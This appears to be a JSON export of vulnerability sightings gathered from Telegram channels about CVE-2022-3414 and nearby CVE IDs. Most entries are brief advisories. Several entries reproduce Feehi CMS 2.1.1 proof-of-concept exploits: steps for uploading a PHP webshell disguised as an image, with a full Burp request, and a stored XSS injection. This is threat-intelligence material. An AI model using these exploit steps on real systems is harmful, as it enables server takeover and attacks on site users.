{"vulnerability": "CVE-2022-3414", "sightings": [{"uuid": "a8eb7345-0109-41fa-b979-19caf3838e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3414", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11820", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-3414\n\ud83d\udd25 CVSS Score: 5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability was found in SourceCodester Web-Based Student Clearance System. It has been classified as critical. Affected is an unknown function of the file /Admin/login.php of the component POST Parameter Handler. The manipulation of the argument txtusername leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-210246 is the identifier assigned to this vulnerability.\n\ud83d\udccf Published: 2022-10-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T13:46:23.454Z\n\ud83d\udd17 References:\n1. https://www.jianshu.com/p/8f7b7b532c02\n2. https://vuldb.com/?id.210246", "creation_timestamp": "2025-04-15T13:54:46.000000Z"}, {"uuid": "655ae02c-33db-49e4-b180-c0f99fc325fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34147", "type": "seen", "source": "https://t.me/cibsecurity/63752", "content": "\u203c CVE-2022-34147 \u203c\n\nImproper input validation in BIOS firmware for some Intel(R) NUC 9 Extreme Laptop Kits, Intel(R) NUC Performance Kits, Intel(R) NUC Performance Mini PC, Intel(R) NUC 8 Compute Element, Intel(R) NUC Pro Kit, Intel(R) NUC Pro Board, and Intel(R) NUC Compute Element may allow a privileged user to potentially enable escalation of privilege via local access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T18:19:35.000000Z"}, {"uuid": "764e8bc5-cd1a-4616-8b14-69d37eb47aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34148", "type": "seen", "source": "https://t.me/cibsecurity/60062", "content": "\u203c CVE-2022-34148 \u203c\n\nImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in JetBackup JetBackup \u00e2\u20ac\u201c WP Backup, Migrate & Restore plugin <= 1.6.9.0 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-04T11:26:15.000000Z"}, {"uuid": "f3a5dfd9-c0b2-4525-8978-98fda545486c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34145", "type": "seen", "source": "https://t.me/cibsecurity/57948", "content": "\u203c CVE-2022-34145 \u203c\n\nTransient DOS due to buffer over-read in WLAN Host while parsing frame information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:46.000000Z"}, {"uuid": "b806c5f3-70b9-4ea9-97be-6515f14af8f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34149", "type": "seen", "source": "https://t.me/cibsecurity/48498", "content": "\u203c CVE-2022-34149 \u203c\n\nAuthentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-22T18:26:37.000000Z"}, {"uuid": "e8d7be99-97ff-4f80-a26b-f90e1e4827ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34140", "type": "seen", "source": "https://t.me/hacking_Attack/70331", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:22.304470Z"}, {"uuid": "9554291e-d89d-4a24-aa3e-038dc0810a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34140", "type": "seen", "source": "https://t.me/hacking_Attack/64807", "content": "Exploit Collector\nFeehi CMS 2.1.1 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nFeehi CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | d361efcdb1b82d5a2eb48510dede7b1357037345197851159d3a6375b4284b66\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)\n# Date: 02-08-2022\n# Exploit Author: Shivam Singh\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Windows, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1-Sing-up https://localhost.cms.feehi/\n2-Inject The XSS Payload in Username:\n\"> fill all required fields and\nclick the SignUp button\n3-Login to Your Account, Go to any article page then XSS will trigger.\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:26.647772Z"}, {"uuid": "fe78fcc8-e1f3-4f77-b95c-e9b140a43245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34140", "type": "seen", "source": "https://t.me/hacking_Attack/70331", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:37.596946Z"}, {"uuid": "57896d10-87d6-4fec-858b-4f17afb4e005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-34140", "type": "seen", "source": "https://t.me/hacking_Attack/64807", "content": "Exploit Collector\nFeehi CMS 2.1.1 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nFeehi CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | d361efcdb1b82d5a2eb48510dede7b1357037345197851159d3a6375b4284b66\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)\n# Date: 02-08-2022\n# Exploit Author: Shivam Singh\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Windows, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1-Sing-up https://localhost.cms.feehi/\n2-Inject The XSS Payload in Username:\n\"> fill all required fields and\nclick the SignUp button\n3-Login to Your Account, Go to any article page then XSS will trigger.\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:41.782751Z"}]}